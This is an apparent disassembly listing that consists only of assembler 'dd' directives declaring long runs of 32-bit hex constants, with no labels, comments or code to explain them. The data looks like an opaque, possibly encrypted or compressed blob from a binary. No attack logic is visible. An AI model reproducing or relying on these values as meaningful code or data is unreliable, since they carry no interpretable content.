		dd 0CA455062h, 0BF08A08Bh, 7C2A216Bh, 20C98449h, 0FAF15DBh
		dd 70E077A4h, 52954B64h, 0DE48811Ah, 5FCCC608h,	13AA4351h
		dd 46B36621h, 3860D730h, 4C3CDE2Dh, 4A7BA43Eh, 93D0DE38h
		dd 0BBD97913h, 4308E52Bh, 358496B8h, 730C2BBAh,	5F2D1193h
		dd 0C783D3FCh, 0CD057B64h, 27D36A5Fh, 0D36B0774h, 0DA6C3917h
		dd 0EF5BD0ABh, 20C100E1h, 0E1CA4865h, 9A5B1D4Eh, 515FC17Ch
		dd 6B398857h, 0AF7C9E0Ah, 0DD72141Fh, 275E47B8h, 5B8E1F67h
		dd 392B3903h, 0DF2EC8BAh, 32D0D01h, 1B515366h, 0E1F22024h
		dd 2047B253h, 354CFB09h, 0D0631DB3h, 421E2CB4h,	7543B85Bh
		dd 0E0C3D506h, 3520E4D9h
		dd 34043863h, 5655C420h, 76CB60A8h, 13186815h, 12076072h
		dd 0C1514319h, 4B203213h, 0B7D1B850h, 0E2830E0Eh, 0E345B103h
		dd 335D31D7h, 9F269247h, 3636976Bh, 0A7CD1056h,	0F1A95F08h
		dd 0A3CD400Fh, 82A4A270h, 14A31E70h, 0DB2DA3FFh, 0D7B03E50h
		dd 39F72B52h, 797B5684h, 54B35452h, 1D4ABA92h, 0EE67CF14h
		dd 16701906h, 0E7A739ABh, 2CDEC6DBh, 94E405A3h,	39A359BBh
		dd 0C62F125Fh, 47399B3Bh, 9B086810h, 70BEF9E5h,	0AB39A3CEh
		dd 2388A7EBh, 0C418B6E6h, 39037773h, 0C1391242h, 5CCEF6D9h
		dd 8A32310h, 0BE7B9D70h, 0AF390053h, 0BD39BAEFh, 0E136DCD9h
		dd 7792EE9Dh, 39124539h, 2E7B2959h, 85E10DEh, 0F21432E7h
		dd 5CFC9393h, 4F97A62Fh, 797E4286h, 9B14D495h, 0C9F91540h
		dd 0FB63C850h, 15C6529Fh, 193F21AEh, 0CB8B830Ah, 0E4283AD3h
		dd 0FC874327h, 58D817A4h, 8B64E023h, 0AE749E2h,	8F50C9F9h
		dd 0DA0F84EDh, 193F2143h, 0C34271B3h, 2864B738h, 22C027E4h
		dd 9FBBAECBh, 0DDFC850Ch, 0BFF52A10h, 90E75B72h, 1A928691h
		dd 46A365A3h, 0E737F90Eh, 0A54D7631h, 19034856h, 7DA748E3h
		dd 90E464A7h, 0E013E77Fh, 445A9313h, 8E119037h,	0E7AB95ABh
		dd 0F90E4648h, 750D0902h, 37F415Dh, 4DAFEB19h, 94F9E7AFh
		dd 0E464A3E5h, 5F47BA90h, 93F21432h, 7C430E97h,	864F8B85h
		dd 47007E42h, 0D2BF5117h, 50C9F9B5h, 938BF2C8h,	0B480A89Bh
		dd 0A193F21h, 0B29EB587h, 27E42872h, 5485BB43h,	850E9064h
		dd 0D4EF64FCh, 83A7865Eh, 0C850C9D8h, 947BE47h,	193FB716h
		dd 0BA56F90Ah, 0ABEBFAB0h, 0E4AFBCF0h, 9F214327h, 343C518Ah
		dd 2864FC91h, 791FD9B3h, 96FACFDEh, 6060086Dh, 11809782h
		dd 7232536Ah, 57ACA9C8h, 4FC8604Fh, 793562B6h, 22A5D283h
		dd 325362D4h, 60465872h, 7D61C835h, 32718A92h, 43723ECEh
		dd 0C94D8B64h, 0CB356043h, 872321BBh, 0B66B5FFCh, 235A44AEh
		dd 0E74C9F90h, 0F7EDB917h, 93F20472h, 8D9CFA93h, 4C99F18h
		dd 18037FC8h, 0C717A7E8h, 384F8B34h, 0EF23F902h, 97B7EDECh
		dd 0C9F92D95h, 7BC8C811h, 0F274A9E3h, 393F20B9h, 63D6EF02h
		dd 0E40887BCh, 0CB9B4767h, 57DB4E56h, 0E4FC811Ch, 87836A87h
		dd 2393B38Ah, 0CAB69F90h, 7EBFB588h, 0ABF20472h, 0EB4CF12Fh
		dd 97FF0536h, 4A15ABF7h, 9B584311h, 2FD61C3Ch, 71176EA3h
		dd 5516A77Ah, 8C94BE79h, 0ABAF3849h, 0EB3F21C8h, 0ACC4159Fh
		dd 9E591079h, 45C94BE7h, 0BBAFA338h, 0B3F21C8Ch, 0C770F414h
		dd 0EC425CF8h, 3894BE79h, 0E397A3A7h, 0FC872325h, 0AFC0F36Ah
		dd 908B5846h, 90B30C9Fh, 7236080Ah, 0EF93F211h,	0DC5F9FC1h
		dd 422E4F8Bh, 0BCA72E7Eh, 0E82E7ACh, 0C845C9F9h, 1C83D6D7h
		dd 213CFB2Dh, 0BF08B93Fh, 0AD7FB5B3h, 1727E422h, 5210479Bh
		dd 0FC845CF0h, 42F2B7E4h, 93931D5Bh, 0D19F908Bh, 8FA4002Dh
		dd 0F211727Fh, 0EE69A166h, 7ADAE8EBh, 27E43076h, 0C2872113h
		dd 15B8D580h, 22A101AEh, 80C5C07Ch, 0C3273343h,	0BE03195Fh
		dd 502D5795h, 0AF045B0Eh, 5033018Ch, 1C17220Eh,	60120481h
		dd 59177DACh, 1A08E553h, 5BB29252h, 6590E86h, 43519964h
		dd 6F154B50h, 30AFE2A0h, 0F4B8D957h, 9208AEAAh,	0FAA3A63Ah
		dd 34244115h, 8A774671h, 6700EA06h, 9257A98Fh, 99EF921h
		dd 0B7B30F73h, 190B6B18h, 4F0A4BBBh, 0A90D02A2h, 7CF3A732h
		dd 568A0DBFh, 9905056h,	0F64C92B3h, 91B7CF3Ch, 942795BBh
		dd 9324C87Ch, 0A1BB9796h, 761B0D34h, 30AFF952h,	0C9EE912Eh
		dd 98522C86h, 4E409880h, 0EE91EE9Fh, 569A809Ah,	9980995Eh
		dd 9380463Bh, 0DAEF55BDh, 29259B50h, 4292D29Ah,	50918092h
		dd 8BDF6721h, 0B72F3F1Bh, 5E024E5Fh, 0BC33BD06h, 61A14BBBh
		dd 0CD3EB98h, 787A7492h, 0AB82DDD3h, 1281607Ah,	2C5BABA8h
		dd 0E690160Eh, 61ADB821h, 3C9BC41Ch, 0C6469D07h, 47B099F2h
		dd 0A0FF214Ah, 32173C35h, 0D953B372h, 0F545AC82h, 1F24AA82h
		dd 310060D5h, 0B86C035Eh, 0D6622EFh, 0BB4D2550h, 0AFAFBF31h
		dd 0EA0670ACh, 0D56718DDh, 0B83D53DFh, 375B8A8Fh, 15BB4925h
		dd 9870E9D0h, 8030DBD9h, 255482F8h, 4054BDB3h, 1E8D1507h
		dd 0F501E16Eh, 1E3255E1h, 0C3C50226h, 0DC5FB115h, 33BC839h
		dd 258327A8h, 1BE18F71h, 161602AFh, 21F2905Ah, 8BB8DC8Bh
		dd 0B8FD732Dh, 2419ACACh, 0F8B0372h, 1C00A3F0h,	0BF8FBCD2h
		dd 5EA3ACACh, 0DD121B94h, 0A4B1F920h, 15266EFh,	0AB5C370Bh
		dd 680E2D2Ch, 0D065A233h, 1DF37211h, 324EF402h,	988954D1h
		dd 90C95480h, 22DF2C4Dh, 2B30B72Eh, 0A4363948h,	0F4E33B1Bh
		dd 5019FB15h, 4BB6DE0h,	661E61Eh, 1285053Bh, 72820BA0h
		dd 0B8992D02h, 0F157BC1h, 232FB7DFh, 5EDE43Ah, 3B5449B8h
		dd 3A8E79FBh, 15C60A69h, 5581FB56h, 0E32A63B9h,	54FE0991h
		dd 55EA08F0h, 793C244Ch, 1897A000h, 805733C3h, 3004D937h
		dd 0D008AFDFh, 8B3733EEh, 3B05AFDFh, 492E5Ah, 0CC1F846Fh
		dd 0DED7AF89h, 0A3BF8A16h, 0B89C3468h, 3B59399Eh, 5630FBF3h
		dd 0D3753A7Ch, 51133740h, 0AC647159h, 0AED915BBh, 23902930h
		dd 2B5EAD63h, 9930B4DDh, 0BFE46464h, 23B78295h,	991CFF37h
		dd 54D0E8AEh, 3B58C44Ah, 0A8DB9DC7h, 0EBF62327h, 0D87824B5h
		dd 1001830Ch, 4233DB3Ah, 27179EF4h, 0D6AF3B4Bh,	662B800Dh
		dd 0A7DFEF93h, 0DA152334h, 6C7ECA64h, 173908DAh, 2BFB4B3Bh
		dd 41EC8617h, 3973172Eh, 4A6054C3h, 7342E41Eh, 0C9FF3B57h
		dd 0BCF61324h, 0B3572B31h, 5C847257h, 0C8C48B90h, 8F211C95h
		dd 65361738h, 9D80B17h,	57210B54h, 3B5520F2h, 94D845E7h
		dd 5B55720Ch, 2579D556h, 0EF5B5C93h, 4D813292h,	0E35402D9h
		dd 92BC8028h, 3F97A96Dh, 0B165332h, 4584060h, 20718B0Ch
		dd 322F6050h, 727A4164h, 0DB593460h, 0C31790E9h, 33513BAFh
		dd 0BC80DEC7h, 3385AF92h, 0AF212756h, 59C3C1E4h, 33FB9F3Bh
		dd 360F2572h, 3B612B59h, 0CDB92F33h, 0E611726h,	76A7C70Bh
		dd 280C1B6Eh, 0A7CFDA4Bh, 2B07253Fh, 0B23ED636h, 40721BF7h
		dd 1A133935h, 0B456332Dh, 1F86AFC2h, 5CB0A1CFh,	0AFBE8832h
		dd 0E4F714AEh, 0A7499073h, 0FCAEA7AEh, 27272750h, 2CDA5F81h
		dd 0A85BFC03h, 6B2E4314h, 4474BE74h, 33C77355h,	46E6CF3Ch
		dd 3C3FB543h, 15C88FFBh, 0D0E897F2h, 7315A8ADh,	0DF3E499h
		dd 0DB8D7F7Ch, 5DC028E3h, 14B322F2h, 0A0A5E2BCh, 6C4FD143h
		dd 8F748220h, 0F8EDB80h, 636C996Bh, 306DEFA1h, 0D7259E2h
		dd 0D522E407h, 336951C6h, 2B2F244Eh, 1A15B73Ch,	0CD3EC914h
		dd 510BD6CBh, 3FE15FF3h, 922EC064h, 4BD65AF7h, 0DE25FBDAh
		dd 5C5647CDh, 0F5248D6h, 0FDD3E2CDh, 525D4B8Ah,	0E1E3D55Ch
		dd 81B364C3h, 8AA7DB69h, 0E793DA0Eh, 1BF58416h,	0D3EEA65Dh
		dd 611BBA33h, 785837EBh, 3F339303h, 6459E0C3h, 0F726AEA7h
		dd 21C83A52h, 0E743CFBFh, 0D315A421h, 0C8C5B0Eh, 392DC8C9h
		dd 0C83E07F1h, 6DFD90C8h, 0E06B3B73h, 79193C73h, 393B7B81h
		dd 0C9E8C402h, 16FF0421h, 95C95753h, 24EEA10Dh,	2F096805h
		dd 992A74A2h, 450E221h,	7133226h, 5730B90Fh, 0F539A31h
		dd 0E10DFDE0h, 0BCE7E7C9h, 50BB0FF4h, 8250D913h, 514E310Ah
		dd 0DCF7A369h, 0FCCF201h, 212D8371h, 0C989720Eh, 0A7D7FF36h
		dd 7F08A7D7h, 640677A6h, 4C2E4305h, 0EF7490Dh, 416C1C2Fh
		dd 48D87A3Bh, 16E68B43h
		dd 0CB1731B7h, 42CEE99Eh, 0F1A99DFCh, 0C8A3068Ah, 43001737h
		dd 0F80B2BCh, 20F46BA2h, 0B75FC04Dh, 382A604Ch,	93385BA7h
		dd 0A17FD356h, 0E8F4BC59h, 0AB52DC52h, 0EFBA80B8h, 0BB8092B7h
		dd 66262C3Dh, 320C3D3Ah, 7E564D21h, 1BE4E9ABh, 1DB8B82Bh
		dd 1169A782h, 6452C358h, 7BA36C52h, 829632A3h, 7043E85Fh
		dd 0D79AE8C0h, 873C1953h, 0C9749E0Ah, 53A74815h, 0B1953832h
		dd 0CEE502C1h, 0C1D231D2h, 39191E02h, 0F13F3F5h, 22CC1078h
		dd 233C591h, 8DEA1DEh, 198A090h, 5C539ED5h, 0FE027544h
		dd 85EBB9Ch, 7067DC8Dh,	9340BC20h, 0A21049BBh, 0E8803151h
		dd 0D578C932h, 0B408AB53h, 493C6D0Ch, 0E05EA80h, 781E4C3Fh
		dd 99BEE42h, 60E0432Fh,	1A0261B1h, 0C7118551h, 0EB83390Eh
		dd 270B68A3h, 0CCA82C4Fh, 6BF52160h, 1D5423D8h,	4EC80938h
		dd 2B1DD2B8h, 37320338h, 95144F1Eh, 0BC9D45Fh, 8A03E856h
		dd 950A5758h, 2C3DF236h, 9BA9BB7Dh, 0BF0E5F19h,	9E1EA8F7h
		dd 9D0D570Ah, 0AACEADA7h, 786B349Ah, 0E4160CAFh, 1AAE6C69h
		dd 99557ABFh, 8DBE17CFh, 1722F0h, 6ADBB42h, 8B06F147h
		dd 0B2C15493h, 0C36C9726h, 5E5487E0h, 0DE8CAF75h, 12841A29h
		dd 52FB313h, 1DE0AAFBh,	0CE8008B2h, 120DC36h, 0D5FFED80h
		dd 0C1EC1919h, 3C54BB3Dh, 3B8B8B37h, 12C4D606h,	0B3672BD0h
		dd 0C8CEA03Dh, 0B7B72660h, 0E7BD90C9h, 2ECD0823h, 366040E2h
		dd 0A98BBCB7h, 51B989CCh, 55166F0h, 995F309h, 1B2628CFh
		dd 6DCB3B61h, 1E427257h, 0B0C0B8Fh, 0F65C8099h,	9C8B13ACh
		dd 91DF5CADh, 18DA1D8Ch, 0D75F53A3h, 0C85E4AE4h, 3904AC2Fh
		dd 19810E0Ah, 0B019AE3Ch, 0BB73AD93h, 422B7308h, 1201EC8Eh
		dd 4169233Bh, 0E401906Ch, 555653C6h, 642648Fh, 4EF0F37h
		dd 213200E4h, 0C96CF96Ch, 0FCF25C84h, 0AE1B07AEh, 351C85E4h
		dd 90705BAh, 0A419019h,	390B906Fh, 0C0436792h, 7272032h
		dd 7B506DADh, 13247F25h, 54D0E973h, 20E4F657h, 0FB6EC803h
		dd 2A65AFFEh, 5147B92Dh, 64D9C965h, 6872714h, 0C9E3E693h
		dd 839B97C9h, 4253E2A9h, 0D81B3EF1h, 0D30563B7h, 748320D2h
		dd 97072FB3h, 54E8E99Bh, 125732BDh, 0EC762252h,	3850AD19h
		dd 0F76ED84Fh, 3A1D107Bh, 0B2D2833Eh, 0A8702C0Eh, 479258E2h
		dd 10955515h, 83BFB239h, 95E5806h, 6E4E427h, 0F6020669h
		dd 25E4066Eh, 0A7A8F94Fh, 5123FD96h, 6DCE042Fh,	3DEB7B06h
		dd 0EB3C9E28h, 74FE5009h, 0FCD3D9B0h, 0D7774EBh, 14EC07AAh
		dd 0EFB353C4h, 9F3F231Dh, 0B2509909h, 0BB3BE6ACh, 39E43C96h
		dd 7A3C664h, 5C072043h,	8D95E4F2h, 8FA9B06Fh, 81D0F647h
		dd 59879E22h, 21C803C5h, 0D74A5F23h, 26A2B308h,	3CB7231h
		dd 0C1AC210Fh, 0E7435A6Ah, 2321C838h, 5111E7E7h, 42727232h
		dd 0FF07523Ch, 439F20FFh, 0FF514E0Eh, 925800B9h, 0EFFFCF91h
		dd 4223E300h, 95C84CECh, 0E44161F7h, 0E3CF6479h, 0FDE733h
		dd 84B9B947h, 0AD00623Ch, 0D268CFE7h, 0D160CCDh, 960B520Fh
		dd 217095FFh, 89010047h, 0E4F25C81h, 0AA0A6807h, 3B0B91Fh
		dd 5F538EE4h, 2121DC59h, 69A90072h, 877C9182h, 0FEA407C1h
		dd 190B58D1h, 0E0E42640h, 0FBF26501h, 5F3010B0h, 0D008A55Bh
		dd 66608551h, 0FB7413E1h, 0C1075866h, 1BFB9E7Bh, 8B610473h
		dd 7D406E2h, 0CC01B6C5h, 1F61C97h, 2B800B8h, 852747F5h
		dd 6FAB591Ch, 64499872h, 0CEE4AE4Fh, 573B5B02h,	990073Bh
		dd 32028D79h, 0A1186A9Fh, 0DAC9D83h, 0C696ADFh,	82438FA1h
		dd 617457DFh, 9A11C5D1h, 406901F0h, 6652C2BCh, 60212287h
		dd 0C52449D9h, 8F28481h, 98719152h, 32D9E3EBh, 118A8B39h
		dd 9E7B0132h, 27606DEEh, 0C01D9F63h, 90CEC39Eh,	3C40D03h
		dd 0DAC8E47Ch, 95AA5664h, 81C97923h, 53964364h,	202833A7h
		dd 989BE407h, 7B01B01h,	0AEBB80FEh, 23EF90BBh, 0C90E8D74h
		dd 9C7C9CC3h, 6B3B1CA9h, 421C906Ah, 72326B80h, 99EE21D8h
		dd 8A0CEB09h, 69620326h, 8E220690h, 0A2F46E9Bh,	2A9C8BDEh
		dd 909D8C1Ch, 2F90B514h, 0A13D456Fh, 0D05CA0A2h, 0F055231h
		dd 0AB965986h, 0A93AE78Dh, 62397CF1h, 0B0446F12h, 0AF9482AEh
		dd 882BC367h, 27B04097h, 56088636h, 0C8EB3B9Fh,	71311AA2h
		dd 0F60AFAD6h, 0A351C540h, 6D106367h, 7A5A7FB1h, 3311BB12h
		dd 7968DC22h, 0A4E6222Fh, 9FF6024Eh, 57E5FF29h,	5860E655h
		dd 61D26454h, 29B09906h, 0C231DFF1h, 8F191061h,	269D1734h
		dd 0EBA2108Dh, 325B8A2Ah, 0AE80F888h, 6BBC1678h, 2366AD95h
		dd 710B0878h, 0FDD8C188h, 42683B08h, 0FF240EE7h, 656625Fh
		dd 6465FF81h, 0A2CDB7E6h, 53F4019Fh, 0A4107C26h, 429060C9h
		dd 59D2A84Fh, 160B7FF7h, 5020E0Eh, 5417C054h, 0BC1FA416h
		dd 908E40E4h, 98651E96h, 0D8881012h, 24945FC0h,	7C36455h
		dd 4E0A3BAFh, 0E724B78Bh, 89839865h, 0FB095EFFh, 378A84AFh
		dd 0D1E3CC9h, 1930E36Ch, 0AC9D2451h, 0F9B278B2h, 1DAFFB53h
		dd 7D56872Ah, 0F7E82241h, 3E05E3AFh, 3D8DA375h,	35D6E79h
		dd 94357AADh, 8781510Fh, 165BB151h, 25AD0161h, 2C0049C1h
		dd 22C907B3h, 337B57E8h, 30EC2BADh, 0BB0B7A28h,	0ED6087E6h
		dd 632E5045h, 0D1419B61h, 0A4BE14B0h, 27278909h, 567C2BFAh
		dd 0AB0349h, 0FD1FE4CEh, 0D8733071h, 63434C26h,	222B393Eh
		dd 379E7C8Eh, 0AFFB57A3h, 889394DBh, 0FF42BB34h, 5E7F76AFh
		dd 0D6526E02h, 1F6F385Ah, 136B2754h, 1A201EB8h,	48791B1Fh
		dd 37217716h, 51231554h, 689438AFh, 0E0B0F315h,	60973A4h
		dd 408DCBF7h, 0CB645EF4h, 3E6C0C06h, 0F75F3647h, 0FBA7CBA7h
		dd 3ADABA7h, 2692CB44h,	9637EC5Fh, 32A7F764h, 0DFDA2BDEh
		dd 26F44038h, 6F7605Bh,	20BD4426h, 445C945Fh, 16FA2010h
		dd 4D915F03h, 0DD37DC15h, 2F9E50C8h, 9DD780A1h,	0EC38101h
		dd 8DB3E1EAh, 0C29EEC9Dh, 326DEA1h, 0E10D306h, 3700822Bh
		dd 0C621DEC1h, 0C7020B38h, 78AF056Bh, 0C7108472h, 9AD8EA7h
		dd 7B9041EEh, 0E387A30h, 9853EC36h, 524B4436h, 0DEFD414Eh
		dd 622BDCC3h, 0D7A1270Bh, 0D7131311h, 19EF905Eh, 7B07270Dh
		dd 57BC5105h, 190ABBF5h, 0ABEF0B70h, 1BB44EC5h,	1A6DCDA3h
		dd 732F08A6h, 198F11A3h, 9F73A5B0h, 1677B5ECh, 4039D5D6h
		dd 0D0213F3Bh, 0E6C6036h, 2FB803h, 10A1391Bh, 0F6D37875h
		dd 0F01E6424h, 50ED939Ah, 52C0C10Dh, 79B27729h,	0A1C7BD59h
		dd 0B2231959h, 0B0BB15EDh, 1014D873h, 81C0E112h, 0BA7DC39Dh
		dd 3B6636C5h, 57940190h, 3364E40Fh, 0D6D9EE0Bh,	33B80E35h
		dd 6AE7340Bh, 0A53B6661h, 0D6D81477h, 0CEF68009h, 0F2332DD9h
		dd 5257EC3Ch, 0C1A13335h, 45FB033Bh, 0D33B12B6h, 372075B8h
		dd 1966F7B0h, 6227073Ah, 3D5CDC23h, 0DE09B526h,	745B8A3Bh
		dd 0C20D33ECh, 1B37E637h, 0C247035Ah, 0AF6D8392h, 90892F1Bh
		dd 1B906403h, 0B9E53F3Fh, 3F22A555h, 6EC6CFA1h,	687264D5h
		dd 11D9D1E4h, 0C8BC0AD7h, 50B5666h, 6718B7Dh, 2A2454BFh
		dd 55F0F33h, 0EC7475F2h, 0B272368h, 1321471Ah, 0DF6BC50h
		dd 3B43CC07h, 8A890747h, 0B8BD8219h, 6CC6CE05h,	0A60EA546h
		dd 68EC8707h, 3994B101h, 23499463h, 0E2822C63h,	7A71C4h
		dd 5AE4857Ah, 71B6773Bh, 2992F304h, 0FF3BA8C8h,	742114h
		dd 26F4D3CBh, 90A7EC20h, 82023067h, 681B1411h, 23210CF9h
		dd 223296E3h, 2F158031h
		dd 69E00202h, 594F1152h, 702047B7h, 0D000E26Dh,	92604B03h
		dd 45556376h, 5513070Ah, 0F6A04370h, 0E4B89DB8h, 6583FACh
		dd 0BDB3543Ah, 21951155h, 2652E2DAh, 0A65FB703h, 1F1557DEh
		dd 0A71642E3h, 2EC5470Fh, 9A372708h, 64543484h,	7015FF83h
		dd 748CF2DCh, 0DB0A96AFh, 4EEEFFA3h, 65AB3004h,	11265155h
		dd 690FE590h, 5494E895h, 97957268h, 0CF72725Dh,	4ADA4A9Bh
		dd 0B0D0F693h, 971BB827h, 32942FA9h, 0BB0393C9h, 0D5168994h
		dd 5C94820Bh, 0C05ED6DEh, 41470624h, 0FB799EAh,	4545FE0Ah
		dd 0F28DBB4Bh, 3104587Dh, 1B35A31Eh, 4F0413ABh,	4F4F5BD1h
		dd 180B6C36h, 0DE4F3E84h, 0C598CF4Fh, 8A7F6000h, 0ABEE0166h
		dd 944FE45Ah, 14D54D4Fh, 3BCE63B9h, 0D5271FB7h,	7D04082h
		dd 636D4BDDh, 3AF83EA5h, 2C4FD7A2h, 0D63EA3C3h,	45BBC9E2h
		dd 0F4A8CBF2h, 8E87BB43h, 0D09DE83Ah, 14F0E133h, 441D771Bh
		dd 7302D898h, 828F68E7h, 0AE9C58DBh, 0BF2387FDh, 0C0E59060h
		dd 24B74B1Ah, 2A7EE4B7h, 0FEE0C18Eh, 1BDAC4D8h,	5EEE6950h
		dd 5AB708C6h, 0DB6EC6F3h, 99F7A716h, 99D6DE1h, 14F102D9h
		dd 1BB4A5Fh, 0BF02B6FBh, 806F3FC1h, 301ED93Fh, 0A7F54125h
		dd 5D411BDBh, 0E22D50BFh, 0C00C5000h, 1070A986h, 20BB87F9h
		dd 0D05B7068h, 9A1FA28Fh, 924550FAh, 8F909278h,	4E2FCE02h
		dd 0F6603FE9h, 8BC55023h, 8FF82EFCh, 0BDAC5E11h, 0D6AD9BADh
		dd 0C066409h, 279EA8AFh, 0CD4A3FB9h, 781F6D54h,	0A3560212h
		dd 9F57E7F4h, 0EF4B7BBAh, 0CB2F3BE6h, 506A994Bh, 27C8E4C1h
		dd 62F610E3h, 0A7B2E15Fh, 2A2ED612h, 0FD62C125h, 78A75218h
		dd 5D1BAF5Fh, 511FDDAEh, 9B4F6E36h, 6BC3E9EDh, 0DE2CD578h
		dd 7F0C5636h, 3A004B4Eh, 0AEA771BFh, 593C3DFFh,	0D75C5D14h
		dd 0F973EED7h, 179228B9h, 0AE879657h, 0F62C273Ch, 1F6D014Eh
		dd 0DE798F3h, 0AE8E4587h, 0AA162E02h, 0D80B0F0Ah, 0C6B1B61h
		dd 66160620h, 2D0118CBh, 0CFA87327h, 7E081A56h,	2773C60Ah
		dd 58D09A88h, 5EB3A15h,	92FCC2A3h, 19001198h, 6A3D7AB8h
		dd 2FB82518h, 39F26B06h, 11F9AEABh, 0F1CC5DE3h,	0DBDAAFBDh
		dd 2B44513Ch, 0FAB38828h, 79FE4610h, 3869EAA0h,	546A32D1h
		dd 20D91362h, 6BA49EC6h, 38577A47h, 3FD14082h, 27591845h
		dd 0F3F40508h, 5A5977D9h, 0C99FAD69h, 0D3D80E01h, 29ACF7A5h
		dd 106C7902h, 410F8356h, 5323EC05h, 0F1EA0F69h,	0F98BF739h
		dd 1B0A9536h, 80578E68h, 3E40A60Fh, 0F7A4380Ch,	7BCBB304h
		dd 0DCFA52C0h, 6A963353h, 0AE213579h, 0A1305786h, 2AB44AAAh
		dd 0AC6C1168h, 0A7D1C949h, 0CE19EAABh, 0B178BA19h, 0D608D9Eh
		dd 1803AFC1h, 46E0C3D6h, 0A3F283D5h, 0F91AF925h, 0F622A12Dh
		dd 59AF8697h, 0B99AAF10h, 78460E79h, 13A6EC58h,	88DC0EB4h
		dd 5E1698F6h, 0D10CC64Fh, 0AF31AEA4h, 3319350h,	87386170h
		dd 590D40h, 3BF06FF9h, 0DDB43380h, 7AE372CBh, 121C3877h
		dd 0FAF28A8Fh, 0B3945217h, 987A55E0h, 0B10B74E7h, 89AEC8C7h
		dd 20820DFCh, 4B21C9BDh, 6E3E305h, 9D8EF53Dh, 2038680Ch
		dd 56770D4Fh, 4632820Ch, 91F88D2Eh, 0B8FAD62Bh,	2592399Ah
		dd 0E4C669Eh, 3AE52DBh,	0E8153BBh, 90F6B3D9h, 45B8118Dh
		dd 0F36CBDE5h, 9BA846E0h, 17409D48h, 0B1836708h, 9FBC67CCh
		dd 0E0468A3Ah, 8F737B63h, 9231D043h, 15F1C2Eh, 0AA4BC2EEh
		dd 5B0F8E83h, 8775B94h,	6154B969h, 0A4FFC761h, 2738FE6Fh
		dd 9E31B9Dh, 8AF7A306h,	67C8BDEh, 0C06A4F7h, 0EC8E7CDh
		dd 0F7A4A3FCh, 0ABA4A7A4h, 26CB4513h, 0A5CD7323h, 0F7A3C979h
		dd 0A4A7ABA4h, 218054A3h, 4865A323h, 0D85420C8h, 0C748E0A3h
		dd 2752B508h, 7E7441A4h, 0F49AE7E6h, 200DB5F6h,	0AF3008A9h
		dd 60B9DE96h, 5A4FBDDh,	700058D3h, 75B07D3Dh, 645A2A0Dh
		dd 27317EF1h, 2C38BB1Ah, 0FEF9DCDFh, 0AE827B1h,	0B868C9ADh
		dd 919C5302h, 0C647846Ch, 3B6AF03Fh, 47AB7D3Bh,	30761264h
		dd 7DAFF14Bh, 0F38029ABh, 7C3B3AA5h, 35D40163h,	1B5D0EADh
		dd 26EC8399h, 0F5AAE5BCh, 0CB7CEBA8h, 0EBEB8EB2h, 517F3B5Eh
		dd 0AB66F606h, 0EBEF4D25h, 0B2A8EBBBh, 0C641BE4Dh, 0B4015B23h
		dd 4EAD6649h, 76BD199Eh, 0B3B69B6Bh, 45F7E4A1h,	0E7A8BDB3h
		dd 874F0539h, 5BEBFA14h, 9B21E0FEh, 0AD1F3D83h,	6E736E62h
		dd 44120ECBh, 4BD2F931h, 0F36701A4h, 411F8F10h,	0C1BC133Ah
		dd 0D829BA4Eh, 1D8B5E4Ah, 9F235CD9h, 0F595053Dh, 0B5E229Ch
		dd 333B061Ch, 0BA7D6F7Ah, 2EF464D9h, 0CDB21CD6h, 12CEF016h
		dd 1BD8B1BCh, 67300505h, 0A81034Dh, 0B926AC53h,	0BB1B886Ch
		dd 36F27E05h, 3DF8761Bh, 0DA779B6Ch, 4E9449F0h,	882CAE89h
		dd 7830705Ah, 0ED9C18C1h, 7C89FF0Dh, 60A2C158h,	90CDF169h
		dd 0A7B316C5h, 1C3BA75Dh, 0B1404781h, 0FF4A4497h, 455F9E87h
		dd 1387384Dh, 0C98AAFF6h, 28253581h, 900884D0h,	0AB1EE30Bh
		dd 754124CFh, 0AB5C6CA1h, 4FA9009Eh, 65277CBDh,	217D9FFBh
		dd 0ABFCD9E4h, 0B07D573Bh, 96664736h, 0CE730658h, 1B3A12F1h
		dd 38E262ECh, 0D9DA7D9Ah, 3A8C41AFh, 92782489h,	60E7E919h
		dd 0DD2DAEFh, 0BBA9F33Eh, 87D180AAh, 1DD9C977h,	7D0BEBA5h
		dd 83206029h, 0AD75EE8Dh, 1D873833h, 0AB7E4F27h, 0F82027FCh
		dd 0CD3F4C7Bh, 755C97B8h, 0C5583381h, 9E833073h, 27881250h
		dd 8B704B2Eh, 764B8111h, 0B70E49Ah, 3ACC4955h, 914D3D40h
		dd 6A2AC2C5h, 0D8CCE0B9h, 3525E56Bh, 4C4FA671h,	74E45A0h
		dd 0A20C9BE7h, 426E7307h, 0BB69DDBBh, 86185449h, 3BB7DA3h
		dd 6A5D8Bh, 23951CACh, 90340073h, 0F22EA9Fh, 0FA2B9219h
		dd 4139A7EAh, 5EF6749Bh, 5A9EEB3Bh, 39E176BBh, 0E810E069h
		dd 5EBFBBACh, 588440B2h, 14F73BBFh, 33C18283h, 59140B85h
		dd 1611AFE0h, 1A422657h, 733903BFh, 0BA0BB577h,	56197560h
		dd 964AEE97h, 33564A50h, 0B353AC51h, 5521C81Dh,	30B61952h
		dd 2E0080F0h, 845B60AAh, 79875AE9h, 5F6BCCFh, 6B78C960h
		dd 0B3F6B075h, 320C8DB5h, 0C3AEB376h, 44625F74h, 0DB37D63Eh
		dd 0A0BBA711h, 0C440E16Fh, 0A43502D9h, 0F112D832h, 0D3444921h
		dd 88819E25h, 0D066893h, 0CD1F2D63h, 262B5D06h,	2D9C1455h
		dd 261691CBh, 512D6356h, 90D91B34h, 0F22D164Ah,	9C1124C0h
		dd 0C81F191Fh, 0E71C8E49h, 6B556B44h, 0AD9F1ED9h, 4250A153h
		dd 0FA5269Ch, 13D838CCh, 27B042DCh, 4E11A0A1h, 4473473Eh
		dd 36FBBD7Dh, 7486FB07h, 6AAFA91Bh, 2F2714D6h, 0E41CFBEh
		dd 2553B45Bh, 1175DBACh, 4636C391h, 63DA60A9h, 711679B5h
		dd 640DAC29h, 0AA693755h, 0DC2E7BE2h, 82A9FF64h, 9C03E79Dh
		dd 0B268ACACh, 0C39385BDh, 0A9774D3Fh, 85E715AAh, 123AAD9Dh
		dd 65AB6558h, 0EFCCC3Bh, 0B5C6ED14h, 0B29B469Fh, 0A136CF99h
		dd 8EA69CE7h, 0EC3AA748h, 4551411Dh, 0C2E2AC12h, 4FCB60E0h
		dd 9F37974Ch, 2AABF083h, 8B7E519Ah, 0F865CBAAh,	0D424DEDCh
		dd 0A9B71782h, 0E1D016E7h, 480E8010h, 93B3C3B2h, 2E0970E8h
		dd 4399BA32h, 0A2D906h,	4BAAAA85h, 677B352h, 6E3790Ch
